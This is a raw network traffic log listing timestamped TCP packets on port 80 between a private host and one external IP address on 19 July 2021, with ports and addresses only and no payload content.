Jul 19, 2021 18:36:58.557284117 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557399035 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557413101 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557475090 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.557647943 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.632227898 CEST	80	50090	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.632344961 CEST	50090	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.633126020 CEST	50090	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.635238886 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635260105 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635267973 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635278940 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635286093 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635298014 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635309935 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.635322094 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.643300056 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.643393040 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.662342072 CEST	80	50088	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.691587925 CEST	80	50088	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.691718102 CEST	50088	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.725574017 CEST	80	50090	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.740753889 CEST	80	50090	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.740897894 CEST	50090	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.825261116 CEST	50090	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.825447083 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.826436043 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.846968889 CEST	50092	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.904491901 CEST	80	50089	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.904603958 CEST	50089	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.932116032 CEST	80	50090	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.932156086 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.932509899 CEST	50090	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.932579994 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.933500051 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.933608055 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.933784962 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.933919907 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.943847895 CEST	80	50092	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:58.944034100 CEST	50092	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:58.944796085 CEST	50092	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.030864954 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.030942917 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.031260014 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.031362057 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.031544924 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.031626940 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.031815052 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.031889915 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.032102108 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.032288074 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.033103943 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.033164024 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.033185959 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.033216953 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.033263922 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.033265114 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.033339024 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.033772945 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.033989906 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.034089088 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.034466028 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.040683031 CEST	80	50092	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.040733099 CEST	80	50092	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.040851116 CEST	50092	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.129129887 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.129250050 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.129272938 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.129292011 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.129420996 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.129463911 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.143135071 CEST	50092	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.145131111 CEST	50093	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.176552057 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.176772118 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.223850012 CEST	80	50093	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.223949909 CEST	50093	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.224708080 CEST	50093	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.226538897 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.226697922 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.226759911 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.226919889 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.227057934 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.239195108 CEST	80	50092	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.241539001 CEST	50092	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.275747061 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.304028988 CEST	80	50093	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.304075003 CEST	80	50093	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.304177046 CEST	50093	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.323759079 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.323782921 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.323801994 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.323913097 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.324131012 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.324146032 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.324356079 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.334846973 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.338200092 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.439958096 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.440287113 CEST	50093	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.441823006 CEST	50094	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.518716097 CEST	80	50093	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.518909931 CEST	50093	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.524353027 CEST	80	50094	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.524583101 CEST	50094	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.525228024 CEST	50094	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.537019968 CEST	80	50091	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.537146091 CEST	50091	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.545260906 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.607808113 CEST	80	50094	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.607876062 CEST	80	50094	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.608161926 CEST	50094	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.637734890 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.637876034 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.638597012 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.638782024 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.639012098 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.639148951 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.721021891 CEST	50094	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.722805023 CEST	50096	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.731194019 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.731322050 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.731465101 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.731678963 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.731736898 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.731762886 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.731831074 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.731892109 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.732621908 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.732664108 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.732736111 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.732789993 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.732990980 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.733189106 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.733270884 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.733551025 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.733915091 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.733979940 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.734009027 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.734046936 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.734169006 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.734239101 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.804364920 CEST	80	50094	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.804510117 CEST	50094	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.807598114 CEST	80	50096	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.807749987 CEST	50096	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.808871031 CEST	50096	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.825928926 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.825956106 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.825965881 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.826343060 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.828509092 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.828524113 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.828533888 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.828552008 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.828566074 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.828813076 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.828900099 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.893795967 CEST	80	50096	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.893944979 CEST	80	50096	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.894085884 CEST	50096	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.921210051 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.921228886 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.921238899 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.921466112 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:59.927225113 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.927258015 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.927268028 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.927293062 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:59.927350998 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.003159046 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.003855944 CEST	50096	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.006422043 CEST	50097	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.020390987 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.020420074 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.020431042 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.020442963 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.085172892 CEST	80	50097	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.086200953 CEST	50097	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.086739063 CEST	50097	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.088598013 CEST	80	50096	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.088731050 CEST	50096	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.096561909 CEST	80	50095	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.096771002 CEST	50095	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.138689995 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.165591002 CEST	80	50097	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.165621042 CEST	80	50097	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.165745974 CEST	50097	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.217839956 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.218142033 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.218688965 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.218970060 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.219439983 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.220148087 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.267923117 CEST	50097	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.269773960 CEST	50099	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.297697067 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.297730923 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.297769070 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.297837019 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.298252106 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.298327923 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.298408031 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.298465014 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.298835039 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.298916101 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.299048901 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.299444914 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.299540997 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.299736977 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.299813032 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.299882889 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.300117016 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.300335884 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.300431013 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.300488949 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.303057909 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.346677065 CEST	80	50097	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.346765995 CEST	50097	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.348323107 CEST	80	50099	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.348469973 CEST	50099	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.349307060 CEST	50099	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.376601934 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.376889944 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.376908064 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.377043962 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.377194881 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.377352953 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.378086090 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.378205061 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.378281116 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.378364086 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.378485918 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.378925085 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.379034996 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.381594896 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.381691933 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.428436995 CEST	80	50099	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.428651094 CEST	80	50099	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.428791046 CEST	50099	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.455882072 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.456098080 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.457415104 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.457436085 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.457532883 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.457700968 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.457737923 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.461060047 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.461122036 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.461147070 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.536873102 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.536956072 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.537026882 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.537053108 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.538394928 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.538811922 CEST	50099	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.540898085 CEST	50100	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.620495081 CEST	80	50098	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.622066975 CEST	50098	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.626079082 CEST	80	50099	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.626107931 CEST	80	50100	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.626255035 CEST	50099	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.626323938 CEST	50100	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.628499031 CEST	50100	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.681346893 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.711824894 CEST	80	50100	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.711939096 CEST	80	50100	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.712167025 CEST	50100	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.764453888 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.764643908 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.765868902 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.766228914 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.766628027 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.767827034 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.815165043 CEST	50100	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.816317081 CEST	50102	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.848969936 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.849203110 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.849621058 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.849639893 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.849725008 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.849858046 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.849921942 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.849966049 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.849999905 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850204945 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850275040 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850327015 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850557089 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850570917 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850610971 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850727081 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850748062 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850789070 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850828886 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850836992 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850912094 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.850914001 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.850965023 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.904354095 CEST	80	50100	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.904517889 CEST	50100	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.913949013 CEST	80	50102	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.914097071 CEST	50102	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.914596081 CEST	50102	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.933528900 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.933548927 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.933657885 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.933662891 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.933738947 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.933794975 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:00.952482939 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:00.952636003 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.012820005 CEST	80	50102	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.012906075 CEST	80	50102	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.012998104 CEST	50102	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.017260075 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.017419100 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.029750109 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.029875994 CEST	50101	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:37:01.035617113 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.035636902 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.035644054 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.035953045 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.036101103 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.100719929 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.100779057 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.100788116 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.112472057 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.112502098 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.112509966 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.112520933 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.112550974 CEST	80	50101	185.114.247.54	192.168.2.6
Jul 19, 2021 18:37:01.112560987 CEST	80	50101	185.114.247.54	192.168.2.6
